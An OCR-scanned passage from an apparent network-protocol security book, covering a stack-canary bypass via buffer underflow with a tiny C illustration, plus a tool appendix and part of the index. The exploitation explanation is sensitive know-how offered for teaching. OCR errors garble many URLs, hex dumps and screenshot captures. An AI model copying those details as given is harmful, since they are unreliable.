always above any single variable, which when corrupted, could be used to
exploit the vulnerability.

Bypassing Canaries with Stack Buffer Underflow

For performance reasons, not every function will place a canary on the stack.
If the function doesn’t manipulate a memory buffer on the stack, the
compiler might consider it safe and not emit the instructions necessary to
add the canary. In most cases, this is the correct thing to do. However, some
vulnerabilities overflow a stack buffer in unusual ways: for example, the
vulnerability might cause an underflow instead of an overflow, corrupting
data lower in the stack. Figure 10-14 shows an example of this kind of
vulnerability.

Figure 10-14 illustrates three steps. First, the function poSomething() is

called @. This function sets up a buffer on the stack. The compiler
determines that this buffer needs to be protected, so it generates a stack
canary to prevent an overflow from overwriting the return address of
DoSomething(). Second, the function calls the process() method, passing a
pointer to the buffer it set up. This is where the memory corruption occurs.
However, instead of overflowing the buffer, process() writes to a value below,

for example, by referencing p(-1] @. This results in corruption of the return
address of the process() method’s stack frame that has stack canary protection.
Third, process() returns to the corrupted return address, resulting in shell

code execution ©.



void DoSomething() {
int buffer[3z];
Upper stack frame Upper stack frame

Process (buffer);

Return address Return address

buffer[32] buffer[32]

Return
’ Shell code at address
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void Process(int* p)

{
p[-1] = 0x12345678;

} 12
Figure 10-14: Stack buffer underflow

Final Words

Finding and exploiting vulnerabilities in a network application can be
difficult, but this chapter introduced some techniques you can use. I
described how to triage vulnerabilities to determine the root cause using a
debugger; with the knowledge of the root cause, you can proceed to exploit
the vulnerability. I also provided examples of writing simple shell code and
then developing a payload using ROP to bypass a common exploit
mitigation DEP. Finally, I described some other common exploit
mitigations on modern operating systems, such as ASLR and memory
canaries, and the techniques to circumvent these mitigations.

This is the final chapter in this book. At this point you should be armed
with the knowledge of how to capture, analyze, reverse engineer, and exploit
networked applications. The best way to improve your skills is to find as
many network applications and protocols as you can. With experience, you’ll
easily spot common structures and identify patterns of protocol behavior
where security vulnerabilities are typically found.



NETWORK PROTOCOL ANALYSIS TOOLKIT

Throughout this book, I've demonstrated several tools and libraries you can
use in network protocol analysis, but I didn’t discuss many that I use
regularly. This appendix describes the tools that I've found useful during
analysis, investigation, and exploitation. Each tool is categorized based on its
primary use, although some tools would fit several categories.

Passive Network Protocol Capture and Analysis Tools

As discussed in Chapter 2, passive network capture refers to listening and
capturing packets without disrupting the flow of traffic.

Microsoft Message Analyzer
Website hrtp://blogs.technet.com/b/messageanalyzer/

License Commercial; free of charge

Platform Windows

The Microsoft Message Analyzer is an extensible tool for analyzing network
traffic on Windows. The tool includes many parsers for different protocols
and can be extended with a custom programming language. Many of its
features are similar to those of Wireshark except Message Analyzer has
added support for Windows events.


http://blogs.technet.com/b/messageanalyzer/
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TCPDump and LibPCAP

Website http://www.tcpdump.org/; hitp://www.winpeap.org/ for Windows
implementation (WinPcap/WinDump)

License BSD License
Platforms BSD, Linux, macOS, Solaris, Windows

The TCPDump utility installed on many operating systems is the
grandfather of network packet capture tools. You can use it for basic
network data analysis. Its LibPCAP development library allows you to write
your own tools to capture traffic and manipulate PCAP files.



http://www.tcpdump.org/
http://www.winpcap.org/

Terminal

File Edit View Search Terminal Help

0x0008: 4500 0028 fccb 4000 4006 8776 0a00 020f

0x0010: dB83a d244 ¢538 0050 cbeb bdf7 8819 65f8

0x0020: 5010 3cb8 bb6ad 0000
21:06:30.735792 IP adamite.local.50488 > 1lhrl4s24-in-f68.1e100.net.http:
F.], seq 79, ack 495, win 15544, length @

Ox0000: 4500 0028 fccc 4000 4006 8775 0a00 e20f

Ox0010: d83a d244 ¢538 0050 cbe6 bdf7 0019 65f0

0x0020: 5011 3cb8 b6aB8 0000
21:06:30.736278 IP lhrl4s24-in-f68.1el@0.net.http > adamite.local.50488:
.], ack 8@, win 65535, length @

0x0000: 4500 0028 0040 0000 4006 c402 d83a d244

0x0010: 0a0® 020f 0050 c538 0019 650 cbeb bdfs

0x0020: 5010 ffff 43d5 0000 0000 0000 0000
21:06:30.745460 IP lhril4s24-in-f68.1e100.net.http > adamite.local.50488:
F.], seq 495, ack 8@, win 65535, length @

0x0080: 4500 0028 0042 0RO 4006 c400 dB83a d244

0x0010: 0a0d ©20f 0650 c538 0019 6570 cbeb6 bdfd

Ox0020: 5011 ffff 43d4 0000 OO0 0OOO 0OOO
21:06:30.745468 IP adamite.local.50488 > lhrl4s24-in-f68.1el00.net.http:
.1, ack 496, win 15544, length @

0x0000: 4500 0028 3713 4000 4006 452 0a00 020f

O0x0010: dB3a d244 ¢538 0050 cbe6 bdf8 0019 6571

Ox0628: 5018 3cb8 871c 08O

Wireshark

Website hetps://www.wireshark.org/
License GPLv2
Platforms BSD, Linux, macOS, Solaris, Windows

Wireshark is the most popular tool for passive packet capture and analysis.
Its GUI and large library of protocol analysis modules make it more robust
and easier to use than TCPDump. Wireshark supports almost every well-
known capture file format, so even if you capture traffic using a different
tool, you can use Wireshark to do the analysis. It even includes support for
analyzing nontraditional protocols, such as USB or serial port
communication. Most Wireshark distributions also include tshark, a
replacement for TCPDump that has most of the features offered in the main
Wireshark GUI, such as the protocol dissectors. It allows you to view a
wider range of protocols on the command line.


https://www.wireshark.org/
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Active Network Capture and Analysis

To modify, analyze, and exploit network traffic as discussed in Chapters 2
and 8, you’ll need to use active network capture techniques. I use the
following tools on a daily basis when I’'m analyzing and testing network
protocols.

Canape

Website bttps://github.com/ctxis/canape/
License GPLv3
Platforms Windows (with .NET 4)

I developed the Canape tool as a generic network protocol man-in-the-
middle testing, analyzing, and exploitation tool with a usable GUI. Canape


https://github.com/ctxis/canape/

contains tools that allow users to develop protocol parsers, C# and
IronPython scripted extensions, and different types of man-in-the-middle
proxies. It’s open source as of version 1.4, so users can contribute to its
development.
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Canape Core

Website bitps://github.com/tyranid/CANAPE. Core/releases/
License GPLv3
Platforms .NET Core 1.1 and 2.0 (Linux, macOS, Windows)

The Canape Core libraries, a stripped-down fork of the original Canape
code base, are designed for use from the command line. In the examples
throughout this book, I've used Canape Core as the library of choice. It has
much the same power as the original Canape tool while being usable on any

OS supported by .NET Core instead of only on Windows.


https://github.com/tyranid/CANAPE.Core/releases/

Mallory

Website bitps://github.com/intrepidusgroup/mallory/

License Python Software Foundation License v2; GPLv3 if using the
GUI

Platform Linux

Mallory is an extensible man-in-the-middle tool that acts as a network
gateway, which makes the process of capturing, analyzing, and modifying
traffic transparent to the application being tested. You can configure Mallory
using Python libraries as well as a GUI debugger. You'll need to configure a
separate Linux VM to use it. Some useful instructions are available at
bttps://bitbucket.org/IntrepidusGroup/mallory/wiki/Mallory_Minimal_Guide/.

Network Connectivity and Protocol Testing

If you're trying to test an unknown protocol or network device, basic
network testing can be very useful. The tools listed in this section help you
discover and connect to exposed network servers on the target device.

Hping

Website bitp://www.bping.org/
License GPLv2
Platforms BSD, Linux, macOS, Windows

The Hping tool is similar to the traditional ping utility, but it supports more
than just ICMP echo requests. You can also use it to craft custom network
packets, send them to a target, and display any responses. This is a very
useful tool to have in your kit.

Netcat

Website Find the original at hztp://ncl 10.sourceforge.net/ and the GNU
version at http://netcat.sourceforge.net/


https://github.com/intrepidusgroup/mallory/
https://bitbucket.org/IntrepidusGroup/mallory/wiki/Mallory_Minimal_Guide/
http://www.hping.org/
http://nc110.sourceforge.net/
http://netcat.sourceforge.net/

License GPLv2, public domain
Platforms BSD, Linux, macOS, Windows

Netcat is a command line tool that connects to an arbitrary TCP or UDP
port and allows you to send and receive data. It supports the creation of
sending or listening sockets and is about as simple as it gets for network
testing. Netcat has many variants, which, annoyingly, all use different
command line options. But they all do pretty much the same thing.

Nmap

Website bttps://nmap.org/
License GPLv2
Platforms BSD, Linux, macOS, Windows

If you need to scan the open network interface on a remote system, nothing
is better than Nmap. It supports many different ways to elicit responses from
TCP and UDP socket servers, as well as different analysis scripts. It’s
invaluable when you’re testing an unknown device.


https://nmap.org/

Terminal
File Edit View Search Terminal Help

Starting Nmap 6.00 ( http://nmap.org ) at 2015-09-29 21:28 BST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000070s latency).
Not shown: 994 closed ports

STATE SERVICE VERSION

open ssh OpenSSH 6.0pl1 Debian 3ubuntul.2 (protocol 2.0)

open http Apache httpd 2.2.22 ((Ubuntu))

open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

open netblos-ssn Samba smbd 3.X (workgroup: WORKGROUP)

open 1ipp CUPS 1.6

open postgresql PostgreSQL DB
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at http://www.insecure.org/cgi-bin/servi
cefp-submit.cgi :
SF-Port5432-TCP:V=6.00%I=7%D=9/29%Time=560AF474%P=1686-pc- linux-gnu%r(SMBP
SF:rogNeg, 85, "E\@\0\0\x84SFATAL\0C0AG00\0Munsupported\x20frontend\x20proto
SF:col\x2065363\.19778:\x20server\x20supportsix201\.0\x20to\x203\.0\0Fpost
SF:master\.c\0OL1701\0RProcessStartupPacket\o\e");
Service Info: 0S: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.
org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.36 seconds

Web Application Testing

Although this book does not focus heavily on testing web applications, doing
so is an important part of network protocol analysis. One of the most widely
used protocols on the internet, HT'TP is even used to proxy other protocols,
such as DCE/RPC, to bypass firewalls. Here are some of the tools I use and
recommend.

Burp Suite

Website brtps://portswigger.net/burp/
License Commercial; limited free version is available

Platforms Supported Java platforms (Linux, macOS, Solaris, Windows)

Burp Suite is the gold standard of commercial web application—testing tools.
Written in Java for maximum cross-platform capability, it provides all the


https://portswigger.net/burp/

features you need for testing web applications, including built-in proxies,
SSL decryption support, and easy extensibility. The free version has fewer
features than the commercial version, so consider buying the commercial
version if you plan to use it a lot.

B3 Burp Suite Free [diion v1 525 . (#] %
Buwp Intnedar Hapantar Wandow Halp
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1 Wilp Meew google com GET I kJ ] 302 454 HTML 302 Mowed A
2 HilpFeceew. google co.uk GET Fyghe_rd=crlai=ETI-VIOTE: _H .. o 1= 200 19761 HTML Goagle

3 htpciigooghe. com GET / LJ 02 434 HTML 302 Moved

] hitpriferenw google co uk GET Mgle_rd=cr&s=ce\Vd_dA-Vgl o L a2 1200 HTML 302 Moved
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7 | miplwwwhiccowk  |[GET  npws U Ll 200 205067 HTML Home - BBC
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1" hlpiistatic bbeico.uk GET Mrameworksiregureislib s L L] 200 ME senp B
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X~News~Cache~Id: 210€5

Content=Length: TO4812
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Connection: kKeep=alive

K=Cache-Action: HIT

K=Cache-Hits: 300

¥-Cache-hge: 24

X=LE=NoCache: eErues
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<IOCTYRE htmd> -
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Zed Attack Proxy (ZAP)
Website bitps://www.owasp.org/index.php/ZAP

License Apache License v2
Platforms Supported Java platforms (Linux, macOS, Solaris, Windows)
If Burp Suite’s price is beyond reach, ZAP is a great free option. Developed

by OWASP, ZAP is written in Java, can be scripted, and can be easily
extended because it’s open source.


https://www.owasp.org/index.php/ZAP

Mitmproxy

Website bitps://mitmproxy.org/
License MIT

Platforms Any Python-supported platform, although the program is
somewhat limited on Windows

Mitmproxy is a command line-based web application—testing tool written in
Python. Its many standard features include interception, modification, and
replay of requests. You can also include it as a separate library within your
own applications.

http://bbec.co.uk/
381 text/html [empty content]
ET http://www.bbcC.co.uk/
- 200 text/html 23.3kB
ET http://static.bbci.co.uk/modules/share/1.5.1/modules/bbeshare. js
~ 200 application/javascript 12.17kB
http://static.bbecl.co.uk/gelstyles/0.10.0/style/core.css
-~ 200 text/css 1.87kB
GET http://a.files bbei.co.uk/s/homepage-vS/1660/styles/main.css
288 text/css 14.12kB
eT http://static.bbci.co.uk/modules/shares1.5.1/style/share.css
~ 280 text/css 2.72kB
ET http://static.bbci.co.uk/frameworks/barlesque/2.88./orb/4/style/orb.min.css
~ 200 text/css 4.58kB
I http://static.bbci.co.uk/Trameworks/barlesque/2.88.1/orb/4/script/orb/api.min. js
- 200 application/javascript 2768
T http://static.bbel.co.uk/frameworks/barlesque/2.88.1/arb/4/img/bbc-blocks-dark.p
ng
288 image/png 7358
T http://ichef. bbci.co.uk/images/ic/168xn/pH3o6TLs. png
-~ 200 image/png 4.1kB
T http://static.bbci.co.uk/frameworks/requirejs/Llib. js
- 200 applicalion/javascript 7.33kB
http://a.files.bbci.co.uk/s/homepage-vS/1660/javascripts/app.1s
- 200 text/javascript 183._43kB

Fuzzing, Packet Generation, and Vulnerability
Exploitation Frameworks

Whenever you’re developing exploits for and finding new vulnerabilities,


https://mitmproxy.org/

you’ll usually need to implement a lot of common functionality. The
following tools provide a framework, allowing you to reduce the amount of
standard code and common functionality you need to implement.

American Fuzzy Lop (AFL)
Website betp://lcamtuf.coredump.cx/afl/

License Apache License v2

Platforms Linux; some support for other Unix-like platforms

Don’t let its cute name throw you off. American Fuzzy Lop (AFL) may be
named after a breed of rabbit, but it’s an amazing tool for fuzz testing,
especially on applications that can be recompiled to include special
instrumentation. It has an almost magical ability to generate valid inputs for
a program from the smallest of examples.

american fuzzy lop 1.94b (example)

8 days, 8 hrs, 8 min,
: @ days, @ hrs, @ min,
: 0 d&','s. g hrs, © min,
nane seen yet

: 13 (9.82%)
1.88 hltS,J'TI_.'I:rLE

havoc favored paths : 1 (25.06%)
5168/20.0k (25.83%) new odges on : 4 (160.088%)

- 5788 total crashes : 186 (1 unique)
2142/5ec total hang 2 (@ unique)

. 1/64, 8/63, 8/61
8/8, 8/7, 8/5
§/448, 6/476, ©/340
B/18, 6742, B/50
8/8, 8/8, 8/9

. 9/0, ©/0
0.00%/1, 0.00%



http://lcamtuf.coredump.cx/afl/

Kali Linux

Website hitps://www.kali.org/

Licenses A range of open source and non-free licenses depending on the
packages used

Platforms ARM, Intel x86 and x64

Kali is a Linux distribution designed for penetration testing. It comes pre-
installed with Nmap, Wireshark, Burp Suite, and various other tools listed in
this appendix. Kali is invaluable for testing and exploiting network protocol
vulnerabilities, and you can install it natively or run it as a live distribution.

Metasploit Framework

Website bitps://github.com/rapidl/metasploit-framework/

License BSD, with some parts under different licenses

Platforms BSD, Linux, macOS, Windows

Metasploit is pretty much the only game in town when you need a generic
vulnerability exploitation framework, at least if you don’t want to pay for
one. Metasploit is open source, is actively updated with new vulnerabilities,
and will run on almost all platforms, making it useful for testing new devices.
Metasploit provides many built-in libraries to perform typical exploitation
tasks, such as generating and encoding shell code, spawning reverse shells,
and gaining elevated privileges, allowing you to concentrate on developing
your exploit without having to deal with various implementation details.

Scapy

Website bitp://www.secdev.org/projects/scapy/
License GPLv2

Platforms Any Python-supported platform, although it works best on
Unix-like platforms

Scapy is a network packet generation and manipulation library for Python.


https://www.kali.org/
https://github.com/rapid7/metasploit-framework/
http://www.secdev.org/projects/scapy/

You can use it to build almost any packet type, from Ethernet packets
through TCP or HT'TP packets. You can replay packets to test what a
network server does when it receives them. This functionality makes it a very
flexible tool for testing, analysis, or fuzzing of network protocols.

Sulley

Website brtps://github.com/OpenRCE/sulley/
License GPLv2
Platforms Any Python-supported platform

Sulley is a Python-based fuzzing library and framework designed to simplify
data representation, transmission, and instrumentation. You can use it to
fuzz anything from file formats to network protocols.

Network Spoofing and Redirection

To capture network traffic, sometimes you have to redirect that traffic to a
listening machine. This section lists a few tools that provide ways to
implement network spoofing and redirection without needing much
configuration.

DNSMasq

Website bitp://www.thekelleys.org.uk/dnsmasq/doc.btml
License GPLv2

Platform Linux

The DNSMasq tool is designed to quickly set up basic network services,
such as DNS and DHCP, so you don’t have to hassle with complex service
configuration. Although DNSMasq isn’t specifically designed for network
spoofing, you can repurpose it to redirect a device’s network traffic for
capture, analysis, and exploitation.

Ettercap


https://github.com/OpenRCE/sulley/
http://www.thekelleys.org.uk/dnsmasq/doc.html

Website brtps://ettercap.github.io/ettercap/
License GPLv2

Platforms Linux, macOS

Ettercap (discussed in Chapter 4) is a man-in-the-middle tool designed to
listen to network traffic between two devices. It allows you to spoof DHCP
or ARP addresses to redirect a network’s traffic.

Executable Reverse Engineering

Reviewing the source code of an application is often the easiest way to
determine how a network protocol works. However, when you don’t have
access to the source code, or the protocol is complex or proprietary, network
traffic-based analysis is difficult. That’s where reverse engineering tools
come in. Using these tools, you can disassemble and sometimes decompile
an application into a form that you can inspect. This section lists several
reverse engineering tools that I use. (See the discussion in Chapter 6 for
more details, examples, and explanation.)

Java Decompiler (JD)

Website http://jd.benow.ca/
License GPLv3

Platforms Supported Java platforms (Linux, macOS, Solaris, Windows)

Java uses a bytecode format with rich metadata, which makes it fairly easy to
reverse engineer Java bytecode into Java source code using a tool such as the
Java Decompiler. The Java Decompiler is available with a stand-alone GUI
as well as plug-ins for the Eclipse IDE.


https://ettercap.github.io/ettercap/
http://jd.benow.ca/
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IDA Pro

Website https://www.hex-rays.com/
License Commercial; limited free version available

Platforms Linux, macOS, Windows

IDA Pro is the best-known tool for reverse engineering executables. It
disassembles and decompiles many different process architectures, and it
provides an interactive environment to investigate and analyze the
disassembly. Combined with support for custom scripts and plug-ins, IDA
Pro is the best tool for reverse engineering executables. Although the full
professional version is quite expensive, a free version is available for
noncommercial use; however, it is restricted to 32-bit x86 binaries and has
other limitations.


https://www.hex-rays.com/
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Hopper
Website hitp://www.bopperapp.com/

License Commercial; a limited free trial version is also available

Platforms Linux, macOS

Hopper is a very capable disassembler and basic decompiler that can more
than match many of the features of IDA Pro. Although as of this writing
Hopper doesn’t support the range of processor architectures that IDA Pro

does, it should prove more than sufficient in most situations due

to its

support of x86, x64, and ARM processors. The full commercial version is

considerably cheaper than IDA Pro, so it’s definitely worth a look.

ILSpy



http://www.hopperapp.com/

Website bitp://ilspy.net/
License MI'T
Platform Windows (with .NET4)

ILSpy, with its Visual Studio-like environment, is the best supported of the
free NET decompiler tools.
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.NET Reflector

Website hitps://www.red-gate.com/products/dotnet-development/reflector/

License Commercial

Platform Windows

Reflector is the original NET decompiler. It takes a .NET executable or
library and converts it into C# or Visual Basic source code. Reflector is very
effective at producing readable source code and allowing simple navigation
through an executable. It’s a great tool to have in your arsenal.


http://ilspy.net/
https://www.red-gate.com/products/dotnet-development/reflector/
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Symbols and Numbers

\ (backlash), 47, 220
/ (forward slash), 81, 220
- (minus sign), 55

+ (plus sign), 55
7-bit integer, 39-40
8-bit integer, 38-39
32-bit system, 263
32-bit value, 40-41
64-bit system, 263
64-bit value, 40-41
8086 CPU, 114

A

AS5/1 stream cipher, 159

A5/2 stream cipher, 159

ABI (application binary interface), 123-124, 259-260
Abstract Syntax Notation 1 (ASN.1), 53-54

accept system call, 123

acknowledgment (DHCP packet), 72
acknowledgment flag (ACK), 41

active network capture, 20, 280-282. See also passive network capture
add() function, 124

ADD Instruction, 115

add_longs() method, 198

add_numbers() method, 197

Address Resolution Protocol (ARP), 6-7, 74-77



addresses, 4
32-bit, 5
destination, 5
MAC, 6-8, 74-77
source, 5
address sanitizer, 243-244
address space layout randomization (ASLR)
bypassing with partial overwrites, 272-273
exploiting implementation flaws in, 271-272
memory information disclosure vulnerabilities, 270-271
Adleman, Leonard, 160
Advanced Encryption Standard (AES), 133, 150, 152
AJAX (Asynchronous JavaScript and XML), 57
algorithms
complexity of, 224-225
cryptographic hashing, 164-165
Diffie-Helman Key Exchange, 162-164
hash, 165
key-scheduling, 151
message digest (MD), 164
MD+4, 165
MDS5, 133, 165-167
RSA, 149, 160-162, 165
secure hashing algorithm (SHA), 164, 202
SHA-1, 133, 165-166
SHA-2, 165
SHA-3, 168
signature, 146
asymmetric, 165
cryptographic hashing algorithms, 164-165
message authentication codes, 166-168
symmetric, 166
AMD, 114
American Fuzzy Lop, 285-286



AND Instruction, 115
antivirus, 23
application, 3
content parsers, 4
network communication, 4
passive network traffic capture, 11
user interface, 4
application binary interface (ABI), 123-124, 259-260
application layer, 3
apt command line utility, 31
arbitrary writing of memory, 253-254
ARM architecture, 42, 118
ARP poisoning, 74-77
ASCII
character encoding, 42
code pages, 44
control characters, 43
printable characters, 43
text-encoding conversions, 229-230
ASLR. See address space layout randomization (ASLR)
ASN.1 (Abstract Syntax Notation 1), 53-54
assembler, 113, 258
assemblies, 138
assembly language, 113
assembly loading, 190-193
asymmetric key cryptography, 159-164. See also symmetric key cryptography
private key, 160
public key, 160
RSA algorithm, 160-162
RSA padding, 162
trapdoor functions, 160
asymmetric signature algorithms, 165
Asynchronous JavaScript and XML (AJAX), 57



AT&T syntax, 116

attributes (XML), 58

authentication bypass, 209
authorization bypass, 209-210
automated code, identifying, 133-134

backslash (\), 47, 220
base class library, 141
Base64, 60-61
Berkeley packet filter (BPF), 180
Berkeley Sockets Distribution (BSD), 15
Berkeley Sockets model, 15, 121
big endian, 42, 52, 122
Big-O notation, 225
binary conversions, 90-92
binary protocols. See also protocols
binary endian, 41-42
bit flags, 41
Booleans, 41
formats, 53-54
numeric data, 38-41
strings, 42—46
variable binary length data, 47-49
bind system call, 15
bit flags, 41
bit format, 38
block ciphers. See also stream ciphers
AES, 150, 152
common, 152
DES, 150-151

initialization vector, 154



modes, 152-155
cipher block chaining, 153-155
Electronic Code Book, 152
Galois Counter, 155
padding, 155-156
padding oracle attack, 156-158
Triple DES, 151
Blowfish, 152
Booleans, 41, 55
BPF (Berkeley packet filter), 180
breakpoints, 135, 137
BSD (Berkeley Sockets Distribution), 15
bss data, 120
Bubble Sort, 224
bucket, 225

buffer overflows
fixed-length, 211-213
heap, 248-249
integer, 214-215
stack, 246-248
variable-length, 211, 213-214
Burp Suite, 283-284
bytes, 38

C

C# language, 112, 189, 210

C++ language, 112, 132

ca.crt file, 203

CALL instruction, 115

Camellia, 152

Canape Core, 21-22, 25, 103-105, 280-281
Canape.Cli, xxiv, 202



canonicalization, 220-221
ca.pfx file, 203
capture.pcap file, 180
capturing network traffic
active method, 20
passive method, 12-20
proxies
HTTP, 29-35
man-in-the-middle, 20
port-forwarding, 21-24
SOCKS, 24-29
resending captured traffic, 182-183
system call tracing
Dtrace, 17-18
Process Monitor tool, 18-19
strace, 16
carriage return, 56
carry flag, 117
CBC (cipher block chaining), 153-155
CDB (debugger), 236-241
cdecl, 199
cdll, 199
Cert Issuer, 200-202
Cert Subject, 200-201
certificate
authority, 170, 202
chain verification, 170-172
pinning, 177
revocation list, 171
root, 170
store, 204
X.509, 53-54, 169-171, 173

certmgr.msc, 203



CFLAGS environment variable, 243
change cipher spec (TLS), 176
char types, 212
character encoding

ASCII, 43

Unicode, 4445
character mapping, 44-45
chat_server.csx script, 187
ChatClient.exe (SuperFunkyChat), 80-81, 200
chatProgran namespace (.INE'T), 190
ChatServer.exe (SuperFunkyChat), 80
checksum, 93-94, 107
Chinese characters, 44
chosen plaintext attack, 162
CIL (common intermediate language), 137-138
Cipher and Hash algorithm, 202
cipher block chaining (CBC), 153-155
cipher feedback mode, 159
cipher text, 146
ciphers, 146

block, 150-159

stream, 158-159

substitution, 147
CJK character sets, 44
CLANG C compiler, 243-244
C language, 112, 123, 132, 210, 212
Class files, 141
Class.forName() method (]ava), 194
client certificate (TLS), 175
client random (TLS), 173
C library, 268
CLR (common language runtime), 137



cvp command, 255
cMp instruction, 115, 119
code
error, 262
executable. See executable codes
message authentication. See message authentication codes (MACs)
pages (ASCII), 44
point, 44
section, 120
collision attacks, 166—168
collision resistance (hashing algorithm), 165
command injection, 228
common intermediate language (CIL), 137-138
common language runtime (CLR), 137
Common Object Request Broker Architecture (CORBA), 22
compiled languages, 113
compilers, 113, 132, 243
compression, 20, 108, 217
conditional branches, 118-119
convect HTTP method, 30
Connect() method, 185, 192-193
CONNECT Proxy, 32
connect System call, 15
content layer, 8-10
content parsers, 4
Content-"Type values, 57
control characters (ASCII), 43
control flow, 118
control registers, 117
Conversations window (Wireshark), 84-85
cookies, 212, 273-276
CORBA (Common Object Request Broker Architecture), 22



counter mode, 159
CPU, 39
8086, 114
assembly language and, 113
exhaustion attacks, 224-226
instruction set architecture, 114-116
registers, 116-118
signed integers, 39
x86 architecture, 114-119, 125
crashes
debugging, 238-240
example, 240-243
finding root cause of, 243-245
CreateInstance() method (NET), 191
cron jObS, 254
cross-site scripting (XSS), 58
Crypt32.dil, 132
CryptoAllPermissionCollection.class, 142
cryptanalysis, 146
cryptography
asymmetric key, 159-164
configurable, 226
hashing algorithms, 164-165
libraries, 132
symmetric key, 149-159
CS register, 116, 118
ctypes library (Python), 195

curl command line utility, 31

D

Dante, 27
data



controlling flow of, 2
encapsulation, 4-7
endianness of, 41
formatting and encoding, 2
implicit-length, 48-49
inbound, 92
integrity, 164
numeric, 38—41
padded, 49
terminated, 4748
transmission, 2, 6—7
variable-length, 56
Data Encryption Standard (DES), 150-151
data execution prevention (DEP), 267-268
data expansion attack, 217
DataFrame, 108
datagram, 5
datagram socket, 122
Datagram "T'ransport Layer Security (D'TLS), 172
data section, 120
dates, 49-50, 55
.ddl extension, 137-138
debuggers, 111, 134-137, 236-240, 243-245, 258-259
debugging, 236-243
analyzing crash in, 238-240
applications, 236
default or hardcoded credentials, 218
shell code, 258-259
starting, 236-237
debugging symbols package (dSYM), 131
DEC instruction, 115
decimal numbers, 55
decompilation, 113



decryption. See also encryption
asymmetric, 160
block cipher, 150
breakpoints, 137
cipher block chaining, 155, 157-158
dealing with obfuscation, 143-144
padding, 155-157
RSA, 161, 165
TLS, 200-202
Triple DES, 151
default credentials, 218
default gateway, 8, 66
defined memory pools, 252-253
delimited text, 56
denial-of-service, 208
DEP (data execution prevention), 267-268
DER (Distinguished Encoding Rules), 53
DES (Data Encryption Standard), 150-151
DES cracker, 151
destination address, 5
destination network address translation (DNA'T), 24, 68-71
DHCP. See Dynamic Host Configuration Protocol (DHCP)
Diffie, Whitfield, 162
Diffie-Hellman Key Exchange (DH), 162-164
Digital Signature Algorithm (DSA), 165
disassembly, 113
discover (DHCP packet), 71
dissector() fllnCtiOIl, 99
dissector.lua file, 98
dissectors
creating, 97
Lua, 99
message packet parsing, 100-103



Wireshark, 95-103
Distinguished Encoding Rules (DER), 53
DLL extension, 80, 120, 189
DNAT (destination network address translation), 24, 68-71
DNSMasq, 287
dnsspoof, 34
Domain Name System (DNS) protocol, 3
Dotfuscator, 143-144
dotnet binary, 81
downgrade attack, 176
DSA (Digital Signature Algorithm), 165
DS register, 116, 118
dSYM (debugging symbols package), 131
Dtrace, 16-18
Dynamic Host Configuration Protocol (DHCP), 63, 66
packets, 71-72
spoofing, 71-74
dynamic libraries, 130, 195-196
dynamic linking, 113-114, 121
dynamic reverse engineering
breakpoints, 135, 137
defined, 134

general purpose registers, 136

E

EAX register, 116, 123, 242, 258, 270

EBP register, 116-117, 124

EBX register, 116, 124

ECDH (Elliptic Curve Diffie-Hellman), 202
ECX register, 116, 124

EDI register, 116-117, 124



EDX register, 116, 123-124
EFAULT, 262
EFLAGS register, 117, 119, 136
EIP register, 116-117, 135
Electronic Frontier Foundation, 151
elements (XML), 58
ELF (Executable Linking Format), 120, 131, 144
Elliptic Curve Diffie-Hellman (ECDH), 202
elliptic curves, 160
encoding
Base64, 60-61
binary data, 59-61
hex, 59-60
percent, 60
encoding layer, 8—10
encryption, 20, 30. See also decryption
AES, 133, 150, 152
asymmetric, 160
block cipher, 150
breakpoints, 137
cipher block chaining, 153-155
DES, 150-151
Electronic Code Book, 153
HTTP connection to, 108
key, 146
libraries, 132
magic constants, 133
one-time pad, 148
padding, 155
public key. See asymmetric key cryptography
RSA, 155, 161
substitution ciphers, 147
TLS, 175-176, 200-206



Triple DES, 151
XOR, 108-109, 148-149, 153-154
encryption libraries, 132
endianness, 41-42
errno, 262
errors
codes, 262
detecting and correcting, 2
off-by-one, 213
verbose, 221-222
ES register, 116, 118
ESI register, 116, 124
ESP register, 116-117, 124, 136, 270
etho, 180
Ethernet, 3
ARP poisoning, 74-75
frame, 6, 8
MAC addresses, 6, 74
network routing, 7-8
passive network capture, 1213
simple network, 6
Ettercap, 72-75, 287-288
executable codes
address space layout randomization, 272
file formats, 119-120
function calls in, 123
memory corruption and, 210, 246
partial overwrites, 272
repurposing, 188—-199
in NET applications, 189-193
in Java applications, 193-195
ROP gadgets, 269
system calls, 259



unmanaged, 195-199
executable file formats, 119-120, 137
Executable Linking Format (ELF), 120, 131, 144
.exe extension, 120, 137-138, 189
exit system call, 260-261
Extensible Markup Language (XML), 58
Extensible Messaging and Presence Protocol (XMPP), 58

F

false, 55
fd argument, 261
Federal Information Processing Standard (FIPS), 151
Feistel network, 151
File Transfer Protocol (FTP), 24, 28
FILETIME (Windows), 50
Financial Information Exchange (FIX) protocol, 56
finished packet, 176
fixed-length buffer overflows, 211-213
floating-point data, 40-41
Follow Stream button (Wireshark), 85
Follow TCP Stream view (Wireshark), 88—89
footers, 4-5
format string vulnerability, 227
forward slash (y), 81, 220
forwarding HT'T'P proxy. See also reverse HI'TP proxy
advantages and disadvantages of, 31
redirecting traffic to, 30-31
simple implementation of, 30-31
fragmentation, 51-52
FreeBSD, 16
FreeCAP, 27



free-list, 251
frequency analysis, 147
FS register, 116, 118
FTP (File Transfer Protocol), 24, 28
function monitors, 111
fuzz testing
defined, 234
mutation fuzzer, 235
simplest, 234
test cases, 235-236
tools
American Fuzzy Lop, 285-286
Kali Linux, 286
Metasploit, 286
Scapy, 287
Sulley, 287

G

Galois Counter Mode (GCM), 155

gateway
configuring, 66-67
ARP poisoning, 74-77
DHCP spoofing, 71-74
default, 8, 66
forwarding traffic to, 71-77
hops, 65
nodes, 64
routing tables on, 65-66
GB2312, 44
GCC compiler, 196
GCM (Galois Counter Mode), 155
GDB (debugger), 236-241



General Public License, 14

general purpose registers, 116-117, 136
GET request, 8, 29

GetConstructor method (NET), 191
getDeclaredConstructor() (Java), 195
GetMethod() method (NET), 192-193
Google, 170, 176-177

GS register, 116, 118

guard pages, 245

GUI registry editor, 67

GVSP protocol, 182

gzip, 217

H

handshake, 172

hardcoded credentials, 218

hash table, 225

hashed message authentication codes (HMAC), 168-169

hashing algorithms
collision resistance, 164
cryptographic, 164-165
nonlinearity of, 164
pre-image resistance, 164
secure, 164-165, 202
